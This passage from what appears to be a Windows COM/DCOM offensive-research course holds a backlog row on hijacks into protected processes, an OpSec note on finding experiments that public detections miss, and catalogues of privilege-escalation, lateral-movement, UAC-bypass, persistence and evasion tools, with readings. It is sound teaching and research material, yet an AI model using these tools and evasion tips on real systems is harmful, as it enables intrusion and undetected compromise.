| **Per-user hijack into PPL** without admin | Forshaw: the general trapped-object technique does not require admin if any suitable IDispatch-exposing server activates user-scope classes — the per-user variant of the StdFont `TreatAs` hijack ([4]) | Find PPL-hosted classes that activate HKCU-scope classes in-session; test `TreatAs` and TypeLib shadows under `HKCU\Software\Classes` against them |
|
||||||
|
|
||||||
|
> **OpSec:** Several rows (TypeLib shadows, `TreatAs`, `AllowDCOMReflection`) are heavily signatured since 2025. Run backlog experiments on instrumented VMs and diff your own telemetry against the public Sigma/Elastic coverage — the rows where your experiment is invisible are the publishable ones.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Appendix A — Master tooling table
|
||||||
|
|
||||||
|
Every tool named in the course's research briefs, one row each. `—` means the brief named the tool without a URL (built-in Windows components, or links not given in the sources); retrieve those from their official channels only.
|
||||||
|
|
||||||
|
| Category | Tool | Author | Purpose | URL |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| Enumeration & analysis | OleViewDotNet | James Forshaw (tyranid) | The recon workhorse: classes/interfaces/AppIDs/typelibs, decoded ACLs, `RunAs` filters, ROT, method invocation, proxy decompilation, `.winmd` parsing | https://github.com/tyranid/oleviewdotnet |
|
||||||
|
| Enumeration & analysis | oleview.exe | Microsoft (SDK) | Legacy COM/OLE viewer | — |
|
||||||
|
| Enumeration & analysis | dcomcnfg.exe | Microsoft | GUI for AppID Launch/Access ACLs and machine OLE defaults | — |
|
||||||
|
| Enumeration & analysis | RpcView | — | RPC endpoint/interface (IPID) maps | — |
|
||||||
|
| Enumeration & analysis | ProcMon | Microsoft Sysinternals | File/registry/LoadImage tracing; phantom-CLSID hunting | — |
|
||||||
|
| Enumeration & analysis | Autoruns | Microsoft Sysinternals | Autostart enumeration (does not diff the full HKCU CLSID tree — known gap) | — |
|
||||||
|
| Enumeration & analysis | Wireshark | Wireshark project | `dcom`/`dcerpc` dissectors; grep `MEOW` in captures | — |
|
||||||
|
| Enumeration & analysis | API Monitor | — | Parameter-level API logging | — |
|
||||||
|
| Enumeration & analysis | Event Viewer | Microsoft | DistributedCOM 10010/10015/10016/10036–10038 telemetry | — |
|
||||||
|
| Enumeration & analysis | `Win32_DCOMApplication` / `Win32_COMSetting` | Microsoft (WMI) | DCOM app and COM-setting inventory | — |
|
||||||
|
| Enumeration & analysis | incendium.rocks methodology | incendium.rocks | Automated registry → JSON → `Invoke` research pipeline | https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/ |
|
||||||
|
| Enumeration & analysis | JuicyPotato CLSID lists | ohpe / @Giutro & @decoder_it | Per-OS abusable-CLSID corpora | http://ohpe.it/juicy-potato/CLSID/ |
|
||||||
|
| Enumeration & analysis | strontic xcyclopedia | strontic | CLSID library/catalog | — |
|
||||||
|
| Enumeration & analysis | awesome-potatoes | bodik | Potato study notes and link farm | https://github.com/bodik/awesome-potatoes |
|
||||||
|
| Enumeration & analysis | BloodHound (`ExecuteDCOM` edge) | SpecterOps | Graph modeling of DCOM-abusable admin relationships | https://bloodhound.specterops.io/resources/edges/execute-dcom |
|
||||||
|
| Reverse engineering & debugging | WinDbg (`dqs`, `symchk`) | Microsoft | VTable symbolization, server attach, breakpoint harness, PDB retrieval | — |
|
||||||
|
| Reverse engineering & debugging | IDA / Ghidra | Hex-Rays / NSA | Server-binary disassembly; string xref (`"StartScan"` technique) | — |
|
||||||
|
| Reverse engineering & debugging | BinDiff | — | Patch diffing `rpcss.dll`, `combase.dll`, `ole32.dll`, `oleaut32.dll`, `usosvc.dll` | — |
|
||||||
|
| Reverse engineering & debugging | TokenViewer | James Forshaw | Inspect captured tokens — impersonation vs identification | — |
|
||||||
|
| Reverse engineering & debugging | NtObjectManager | — | `Get-AccessibleFile -AccessRights WriteDac` target-file enumeration | — |
|
||||||
|
| Reverse engineering & debugging | ExploitRemotingService | James Forshaw | .NET remoting trapped-object exploitation | — |
|
||||||
|
| Reverse engineering & debugging | IE11SandboxEscapes | James Forshaw | CVE-2014-0257 .NET DCOM reflection PoC (reference for trapped-object PoC) | https://github.com/tyranid/IE11SandboxEscapes |
|
||||||
|
| Reverse engineering & debugging | COMRace | USENIX Security '22 authors | Data-race detection in COM objects | https://www.youtube.com/watch?v=9bBh2YEqVMA |
|
||||||
|
| Local privilege escalation (potato family & bridges) | RottenPotato | FoxGlove Security (@breenmachine, @vvalien1) | BITS DCOM trigger + NTLM reflection (≤1803) | https://github.com/foxglovesec/RottenPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | RottenPotatoNG | FoxGlove Security | Standalone C++ port (no Meterpreter) | https://github.com/foxglovesec/RottenPotatoNG |
|
||||||
|
| Local privilege escalation (potato family & bridges) | LonelyPotato | decoder | RottenPotato standalone | https://decoder.cloud/2017/12/23/the-lonely-potato/ |
|
||||||
|
| Local privilege escalation (potato family & bridges) | JuicyPotato | ohpe / @Giutro & @decoder_it | Arbitrary CLSID/port/program reflection (≤1803) | https://github.com/ohpe/juicy-potato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | RoguePotato | @decoder_it & @splinter_code | Fake OXID resolver + named-pipe redirect (1809+) | https://github.com/antonioCoco/RoguePotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | RogueWinRM | antonioCoco | BITS→WinRM HTTP NTLM capture | https://github.com/antonioCoco/RogueWinRM |
|
||||||
|
| Local privilege escalation (potato family & bridges) | SweetPotato | @_EthicalChaos_ / CCob | C# unified potato toolkit | https://github.com/CCob/SweetPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | JuicyPotatoNG | @decoder_it & @splinter_code | Type-9 `LogonUser` + SSPI hook (1809+/Win11) | https://github.com/antonioCoco/JuicyPotatoNG |
|
||||||
|
| Local privilege escalation (potato family & bridges) | LocalPotato | @decoder_it & @splinter_code | NTLM context swap → SYSTEM SMB write (CVE-2023-21746) | https://github.com/decoder-it/LocalPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | GodPotato | BeichenDream | Service-DCOM trigger + callback impersonation (Win8–11) | https://github.com/BeichenDream/GodPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | DCOMPotato | zcgonvh | Attacker `IUnknown` callback → `CoImpersonateClient` | https://github.com/zcgonvh/DCOMPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | PrintNotifyPotato | BeichenDream | PrintNotify CLSID + callback (works with legacy Spooler off) | https://github.com/BeichenDream/PrintNotifyPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | PrintSpoofer | itm4n | Spooler pipe-name normalization + impersonation | https://github.com/itm4n/PrintSpoofer |
|
||||||
|
| Local privilege escalation (potato family & bridges) | BadPotato | BeichenDream | PrintSpoofer C# port | https://github.com/BeichenDream/BadPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | EfsPotato | zcgonvh | MS-EFSR coercion + pipe impersonation | https://github.com/zcgonvh/EfsPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | SharpEfsPotato | bugch3ck | EfsPotato C# variant | https://github.com/bugch3ck/SharpEfsPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | CoercedPotato | @Hack0ura & @Prepouce (Hackvens) | Automated multi-coercion (MS-RPRN + MS-EFSR) | https://github.com/Prepouce/CoercedPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | PetitPotato | wh0amitz | Local PetitPotam → pipe | https://github.com/wh0amitz/PetitPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | RasmanPotato | crisprss | RasMan RPC coercion → pipe | https://github.com/crisprss/RasmanPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | CandyPotato | klezVirus | Weaponized pure-C++ RottenPotatoNG | https://github.com/klezVirus/CandyPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | MultiPotato | S3cur3Th1sSh1t | Multi-trigger combo | https://github.com/S3cur3Th1sSh1t/MultiPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | SigmaPotato | tylerdotrar | Modernized GodPotato-style, in-memory .NET | https://github.com/tylerdotrar/SigmaPotato |
|
||||||
|
| Local privilege escalation (potato family & bridges) | GenericPotato | Micah van Deusen | Generic SeImpersonation → SYSTEM | https://micahvandeusen.com/the-power-of-seimpersonation/ |
|
||||||
|
| Local privilege escalation (potato family & bridges) | GhostPotato | Shenanigans Labs | NTLM challenge-cache SMB relay bypass | https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html |
|
||||||
|
| Local privilege escalation (potato family & bridges) | RemotePotato0 | antonioCoco / SentinelOne | Cross-protocol RPC→HTTP relay (remote user→DA) | https://github.com/antonioCoco/RemotePotato0 |
|
||||||
|
| Local privilege escalation (potato family & bridges) | CertPotato | SensePost | ADCS path from virtual/network service accounts | https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/ |
|
||||||
|
| Local privilege escalation (potato family & bridges) | SpoolSample | Lee Christensen | MS-RPRN coercion PoC | https://github.com/leechristensen/SpoolSample |
|
||||||
|
| Local privilege escalation (potato family & bridges) | UsoDllLoader | itm4n | USO weaponization-bridge PoC | https://github.com/itm4n/UsoDllLoader |
|
||||||
|
| Local privilege escalation (potato family & bridges) | COMahawk | NCC Group / Fox-IT | CVE-2019-1405 + CVE-2019-1322 chain PoC | — |
|
||||||
|
| Local privilege escalation (potato family & bridges) | RpcClient (StorSvc) | BlackArrowSec | `SvcRebootToFlashingMode` trigger client (LocalPotato weaponization) | — |
|
||||||
|
| Local privilege escalation (potato family & bridges) | Trebuchet | NetSPI | MS15-076 → arbitrary file write | https://www.netspi.com/blog/technical-blog/web-application-pentesting/exploiting-ms15-076-cve-2015-2370/ |
|
||||||
|
| Lateral movement | impacket (`dcomexec.py`, `rpcdump.py`, `oxidresolver`) | Fortra (agsolino / byt3bl33d3r) | DCOM exec via MMC20/ShellWindows/ShellBrowserWindow; RPC dumps; OXID resolver interface leak | https://github.com/fortra/impacket |
|
||||||
|
| Lateral movement | NetExec | NetExec project | `--exec-method mmcexec` remote command execution | https://www.netexec.wiki/smb-protocol/command-execution/execute-remote-command |
|
||||||
|
| Lateral movement | SharpCOM | rvrsh3ll | C# DCOM execution | https://github.com/rvrsh3ll/SharpCOM |
|
||||||
|
| Lateral movement | SharpExcel4-DCOM | rvrsh3ll | Excel XLM/shellcode via DCOM | https://github.com/rvrsh3ll/SharpExcel4-DCOM |
|
||||||
|
| Lateral movement | Invoke-DCOM.ps1 | rvrsh3ll | PowerShell DCOM invocation | https://github.com/rvrsh3ll/Misc-Powershell-Scripts |
|
||||||
|
| Lateral movement | CsDCOM / CheeseDCOM | rasta-mouse | C# DCOM tooling | — |
|
||||||
|
| Lateral movement | SharpMove | 0xthirteen | Lateral movement (`action=dcom`/`hijackdcom`) | https://github.com/0xthirteen/SharpMove |
|
||||||
|
| Lateral movement | MoveKit | — | Lateral movement kit | — |
|
||||||
|
| Lateral movement | SharpLateral (`reddcom`) | — | DCOM lateral movement | — |
|
||||||
|
| Lateral movement | LethalHTA | codewhitesec | Remote `htafile` + custom moniker + DotNetToJScript | https://github.com/codewhitesec/LethalHTA |
|
||||||
|
| Lateral movement | Invoke-DCOMPowerPointPivot.ps1 | attactics.org | PowerPoint add-in DCOM pivot | https://attactics.org/2018/02/dcom-lateral-movement-powerpoint/ |
|
||||||
|
| Lateral movement | Empire | — | `invoke_dcom` module (MMC20, ShellWindows, ShellBrowserWindow, ExcelDDE, RegisterXLL) | — |
|
||||||
|
| Lateral movement | Cobalt Strike | — | `remote-exec com-mmc20` via Aggressor | — |
|
||||||
|
| UAC bypass | UACME (Akagi) | hfiref0x | The 82-method UAC-bypass corpus; read `comsup.h` and the `ucm*Method` modules | https://github.com/hfiref0x/UACME |
|
||||||
|
| UAC bypass | Sharp4COMBypassUAC | xz.aliyun.com writeup | ICMLuaUtil UAC bypass PoC | https://xz.aliyun.com/t/16063 |
|
||||||
|
| UAC bypass | Atomic Red Team | Red Canary | T1548.002 / T1546.015 / T1021.003 lab tests | https://github.com/redcanaryco/atomic-red-team |
|
||||||
|
| UAC bypass | Metasploit | Rapid7 | `bypassuac_eventvwr`, `bypassuac_comhijack`, `ms16_075_reflection`, CVE-2019-0841 module | https://github.com/rapid7/metasploit-framework |
|
||||||
|
| Persistence & hijacking | acCOMplice / COMHijackToolkit | David Tulis / NCC Group | `Extract-HijackableKeysFromProcmonCSV`, `Find-MissingLibraries`, `Hijack-CLSID`, `Hijack-MultipleKeys`, `masterkeys.csv` | https://github.com/nccgroup/Accomplice |
|
||||||
|
| Persistence & hijacking | COM-Hunter | @nickvourd + @S1ckB0y1337 | `search`/`persist`/`tasksch`/`treatas`/`remove` modes (.NET + BOF) | https://github.com/nickvourd/COM-Hunter |
|
||||||
|
| Persistence & hijacking | Get-ScheduledTaskComHandler.ps1 | enigma0x3 | Enumerate scheduled tasks with ComHandler actions | https://github.com/enigma0x3/Misc-PowerShell-Stuff |
|
||||||
|
| Persistence & hijacking | COMProxy | leoloobeek | Pass-through hijack DLL PoC (+ TestCOMClient/TestCOMServer) | https://github.com/leoloobeek/COMProxy |
|
||||||
|
| Persistence & hijacking | SharpDllProxy | Flangvik | Export-forwarding stub generator | https://github.com/Flangvik/SharpDllProxy |
|
||||||
|
| Persistence & hijacking | FaceDancer | — | Export-forwarding stub generator (`recon -I target.dll -G`) | — |
|
||||||
|
| Persistence & hijacking | Koppeling | — | Export-forwarding stub generator | — |
|
||||||
|
| Persistence & hijacking | Invoke-OutlookPersistence.ps1 | 3gstudent | Outlook `TreatAs` persistence automation (handles WOW6432Node) | https://github.com/3gstudent/COM-Object-hijacking |
|
||||||
|
| Persistence & hijacking | Invoke-EventVwrBypass.ps1 | enigma0x3 | eventvwr `mscfile` hijack PoC | https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ |
|
||||||
|
| Persistence & hijacking | CS-Situational-Awareness-BOF | TrustedSec | Situational-awareness BOF (COM enumeration) | https://github.com/trustedsec/CS-Situational-Awareness-BOF |
|
||||||
|
| Persistence & hijacking | EVTX-ATTACK-SAMPLES | sbousseaden | COM-hijack Sysmon telemetry samples | https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES |
|
||||||
|
| Execution, injection & evasion | DotNetToJScript | James Forshaw | .NET assembly → JScript/VBScript/HTA via COM-visible mscorlib classes | https://github.com/tyranid/DotNetToJScript |
|
||||||
|
| Execution, injection & evasion | SharpShooter | MDSec | DotNetToJScript-based payload generation | https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/ |
|
||||||
|
| Execution, injection & evasion | CACTUSTORCH / GreatSCT / SuperSharpShooter | — | DotNetToJScript-derived frameworks | — |
|
||||||
|
| Execution, injection & evasion | PPLdump / PPLmedic / PPLKiller | itm4n | PPL bypass / injection tooling | https://github.com/itm4n/PPLmedic |
|
||||||
|
| Execution, injection & evasion | PPLFault | gabriellandau | PPL bypass | — |
|
||||||
|
| Execution, injection & evasion | ANGRYORCHARD | — | PPL follow-on tooling | — |
|
||||||
|
| Execution, injection & evasion | IRundown::DoCallback injection | MDSec | COM-based injection into protected processes | https://mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/ |
|
||||||
|
| Execution, injection & evasion | ForsHops | IBM X-Force Red | Remote trapped-COM fileless lateral movement | https://github.com/xforcered/ForsHops |
|
||||||
|
| Execution, injection & evasion | ComDotNetExploit | Mohamed Fakroud / T3nb3w | Local trapped-COM PPL-injection PoC | https://github.com/T3nb3w/ComDotNetExploit |
|
||||||
|
| Execution, injection & evasion | RemoteMonologue | IBM X-Force (Andrew Oliveau) | DCOM NTLM coercion via AppID `RunAs` tampering | https://github.com/3lp4tr0n/RemoteMonologue |
|
||||||
|
| Execution, injection & evasion | Koadic / Covenant | — | C2 frameworks using COM scriptlet delivery | — |
|
||||||
|
| Defense validation & detection engineering | RPC Firewall | Zero Networks | Per-call RPC UUID/opnum/source-IP filtering and logging (closes the raw-RPC-ETW remote-IP gap) | https://github.com/zeronetworks/rpcfirewall |
|
||||||
|
| Defense validation & detection engineering | sysmon-config | SwiftOnSecurity | Sysmon baseline configuration | https://github.com/SwiftOnSecurity/sysmon-config |
|
||||||
|
| Defense validation & detection engineering | sysmon-modular | olafhartong | Modular Sysmon configuration | https://github.com/olafhartong/sysmon-modular |
|
||||||
|
| Defense validation & detection engineering | Sigma | SigmaHQ | Rule set incl. COM hijack, MMC20, squiblydoo, RPC-firewall rules | https://github.com/SigmaHQ/sigma |
|
||||||
|
| Defense validation & detection engineering | Elastic detection-rules | Elastic | Prebuilt COM-hijack and DCOM-LM rules | https://github.com/elastic/detection-rules |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Appendix B — Master reading list
|
||||||
|
|
||||||
|
The further-reading picks from every chapter's Research Lab, deduplicated and grouped. Read in group order if you are new to the field; jump to the row matching your current pipeline stage otherwise.
|
||||||
|
|
||||||
|
**COM internals & research methodology**
|
||||||
|
|
||||||
|
- OleViewDotNet — James Forshaw — the tool and its source are the best COM-internals documentation that exists — https://github.com/tyranid/oleviewdotnet
|
||||||
|
- COM in Sixty Seconds — James Forshaw — activation/OBJREF internals talk ([49])
|
||||||
|
- The Component Object Model — magicsplat — registry keys, HKCR merged view, SCM lookup walkthrough — https://www.magicsplat.com/book/com.html
|
||||||
|
- COM Hijacking in Windows — cyberc0re — per-user vs system hive mechanics — https://www.cyberc0re.in/posts/com-hijacking-in-windows/
|
||||||
|
- Automating COM/DCOM vulnerability research — incendium.rocks — the IDispatch-JSON automation methodology — https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/
|
||||||
|
- DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape — hack.lu 2025 slides ([41])
|
||||||
|
|
||||||
|
**Privilege escalation**
|
||||||
|
|
||||||
|
- Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege — James Forshaw — the DiagHub chain and the file-write template — https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
|
||||||
|
- Weaponizing Privileged File Writes with the USO Service, parts 1–2 — itm4n — the USO bridge and honest RE workflow — https://itm4n.github.io/usodllloader-part1/ · https://itm4n.github.io/usodllloader-part2/
|
||||||
|
- CVE-2019-1405 and CVE-2019-1322 — NCC Group / Fox-IT — "service exposes dangerous API to everyone", with a ready-made OleViewDotNet methodology section — https://www.fox-it.com/be-en/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
|
||||||
|
- Giving JuicyPotato a second chance: JuicyPotatoNG — decoder — post-1809 potato design — https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/
|
||||||
|
|
||||||
|
**Trapped objects, PPL & injection**
|
||||||
|
|
||||||
|
- Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw — the newest bug class in this course, with the full OleViewDotNet methodology ([4])
|
||||||
|
- Injecting Code into Windows Protected Processes using COM, Part 1 — James Forshaw — typelib substitution → type confusion → PPL ([24])
|
||||||
|
- Process Injection via Component Object Model (COM) IRundown::DoCallback — MDSec — the callback-execution injection primitive ([25])
|
||||||
|
- Fileless Lateral Movement with Trapped COM Objects — IBM X-Force — taking the class remote ([21])
|
||||||
|
|
||||||
|
**Lateral movement**
|
||||||
|
|
||||||
|
- Lateral Movement via DCOM: Round 2 — enigma0x3 — the ShellWindows/ShellBrowserWindow playbook — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
|
||||||
|
- Abusing DCOM for Yet Another Lateral Movement Technique — bohops — abandoned binaries (mobsync) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/
|
||||||
|
- I Like to Move It: Windows Lateral Movement Part 2 — DCOM — MDSec — XLM and shellcode in DCOM-spawned Excel — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/
|
||||||
|
- Abuse the Power of DCOM Excel Application — SpecterOps — ActivateMicrosoftApp EOL proxy execution — https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922
|
||||||
|
- BloodHound `ExecuteDCOM` edge docs — SpecterOps — graph modeling of this attack class ([48])
|
||||||
|
|
||||||
|
**UAC**
|
||||||
|
|
||||||
|
- UAC bypasses from COMAutoApprovalList — swapcontext — enumerating and weaponizing the approved-class list — https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html
|
||||||
|
- Calling Local Windows RPC Servers — James Forshaw — AppInfo's RPC interface and `RAiLaunchAdminProcess` ([36])
|
||||||
|
- UACME — hfiref0x — the 82-method corpus; read `comsup.h` and the `ucm*Method` modules ([38])
|
||||||
|
- UAC Bypass by Mocking Trusted Directories — David Wells / Tenable — the normalization-desync blueprint — https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
|
||||||
|
- Advanced Windows Task Scheduler Playbook Part 2 — zcgonvh — from COM to UAC bypass to SYSTEM — http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html
|
||||||
|
- Reading Your Way Around UAC — James Forshaw — deep UAC internals series — https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-1.html
|
||||||
|
|
||||||
|
**Persistence**
|
||||||
|
|
||||||
|
- Abusing the COM Registry Structure Part 2 — bohops — loading techniques and evasion ([29])
|
||||||
|
- Revisiting COM Hijacking — SpecterOps — modern hosts, export forwarding, OpSec ([30])
|
||||||
|
- Proxying COM For Stable Hijacks — leoloobeek — the pass-through pattern ([33])
|
||||||
|
- New Abuse of the ClickOnce Technology: Part 2 — CrowdStrike — phantom-object persistence ([31])
|
||||||
|
- acCOMplice — David Tulis / NCC Group — discovery methodology and tooling — https://github.com/nccgroup/Accomplice
|
||||||
|
- Persistence Part 2 – COM Hijacking — Dominic Chell / MDSec — the ComHandler walkthrough ([32])
|
||||||
|
|
||||||
|
**Execution, relay & detection**
|
||||||
|
|
||||||
|
- Attacking Visual Studio for Initial Access — Outflank — the `LoadTypeLib` moniker-parsing quirk ([23])
|
||||||
|
- RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force — relay-from-DCOM in 2025 ([26])
|
||||||
|
- Utilizing RPC Telemetry — SpecterOps — turning `Microsoft-Windows-RPC` ETW into call-level visibility — https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. References
|
||||||
|
|
||||||
|
[1] OleViewDotNet — James Forshaw (tyranid) — https://github.com/tyranid/oleviewdotnet
|
||||||
|
[2] Automating COM/DCOM vulnerability research — incendium.rocks — https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/
|
||||||
|
[3] Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
|
||||||
|
[4] Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw, Project Zero (2025) — https://projectzero.google/2025/01/windows-bug-class-accessing-trapped-com.html
|
||||||
|
[5] Weaponizing Privileged File Writes with the USO Service, Part 1 — itm4n (2019) — https://itm4n.github.io/usodllloader-part1/
|
||||||
|
[6] Weaponizing Privileged File Writes with the USO Service, Part 2 — itm4n (2019) — https://itm4n.github.io/usodllloader-part2/
|
||||||
|
[7] CVE-2019-1405 and CVE-2019-1322 — Elevation to SYSTEM via the UPnP Device Host Service and the Update Orchestrator Service — NCC Group / Fox-IT, Langlois & Torkington (2019) — https://www.fox-it.com/be-en/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
|
||||||
|
[8] Windows: DCOM DCE/RPC Local NTLM Reflection Elevation of Privilege (Project Zero issue 325) — James Forshaw (2015) — https://bugs.chromium.org/p/project-zero/issues/detail?id=325
|
||||||
|
[9] No more rotten/juicy potato? — decoder (2018) — https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
|
||||||
|
[10] KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support — https://support.microsoft.com/en-au/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c
|
||||||
|
[11] Abusing .NET Core CLR Diagnostic Features (CVE-2023-33127) — bohops (2023) — https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/
|
||||||
|
[12] No more JuicyPotato? Old story, welcome RoguePotato! — decoder (2020) — https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
|
||||||
|
[13] Giving JuicyPotato a second chance: JuicyPotatoNG — decoder (2022) — https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/
|
||||||
|
[14] LocalPotato — When Swapping The Context Leads You To SYSTEM — decoder (2023) — https://decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system/
|
||||||
|
[15] LocalPotato HTTP edition — decoder (2023) — https://decoder.cloud/2023/11/03/localpotato-http-edition/
|
||||||
|
[16] JuicyPotato — abusing the golden privileges (with per-OS CLSID lists) — ohpe / @Giutro & @decoder_it (2018) — http://ohpe.it/juicy-potato/ and http://ohpe.it/juicy-potato/CLSID/
|
||||||
|
[17] Rotten Potato — Privilege Escalation from Service Accounts to SYSTEM — FoxGlove Security (2016) — https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
|
||||||
|
[18] Windows Exploitation Tricks: Relaying DCOM Authentication — James Forshaw, Google Project Zero (2021) — https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
|
||||||
|
[19] Sharing a Logon Session a Little Too Much — James Forshaw (2020) — https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
|
||||||
|
[20] Abusing IDispatch for Trapped COM Object Access & Injecting into PPL Processes — Mohamed Fakroud — https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes
|
||||||
|
[21] Fileless lateral movement with trapped COM objects — IBM X-Force (2025) — https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects
|
||||||
|
[22] Accelerating Offensive R&D with LLMs — Kyle Avery, Outflank (2025) — https://www.outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/
|
||||||
|
[23] Attacking Visual Studio for Initial Access — Outflank (2023) — https://www.outflank.nl/blog/2023/03/28/attacking-visual-studio-for-initial-access/
|
||||||
|
[24] Injecting Code into Windows Protected Processes using COM, Part 1 — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html
|
||||||
|
[25] Process Injection via Component Object Model (COM) IRundown::DoCallback — MDSec (2022) — https://mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/
|
||||||
|
[26] RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force, Andrew Oliveau (2025) — https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions
|
||||||
|
[27] Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol (RemotePotato0) — SentinelOne (2021) — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/
|
||||||
|
[28] Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — bohops (2018) — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
|
||||||
|
[29] Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques for Evasion and Persistence — bohops (2018) — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
|
||||||
|
[30] Revisiting COM Hijacking — SpecterOps (2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
|
||||||
|
[31] New Abuse of the ClickOnce Technology: Part 2 — CrowdStrike (2025) — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/
|
||||||
|
[32] Persistence Part 2 – COM Hijacking — Dominic Chell, MDSec (2019) — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
|
||||||
|
[33] Proxying COM For Stable Hijacks — leoloobeek (2019) — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/
|
||||||
|
[34] Userland Persistence with Scheduled Tasks and COM Handler Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/
|
||||||
|
[35] Hijacked and Hidden: New Backdoor and Persistence Technique — ReliaQuest (2025) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
|
||||||
|
[36] Calling Local Windows RPC Servers — James Forshaw, Google Project Zero (2019) — https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
|
||||||
|
[37] The COM Elevation Moniker — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker
|
||||||
|
[38] UACME — Defeating Windows User Account Control — hfiref0x — https://github.com/hfiref0x/UACME
|
||||||
|
[39] COMRace: data-race detection in COM objects (USENIX Security 2022 talk) — https://www.youtube.com/watch?v=9bBh2YEqVMA
|
||||||
|
[40] Enhancing Automatic Vulnerability Discovery for Windows RPC/COM in New Ways (Black Hat EU 2024 talk) — https://www.youtube.com/watch?v=VQiQuLo0v58
|
||||||
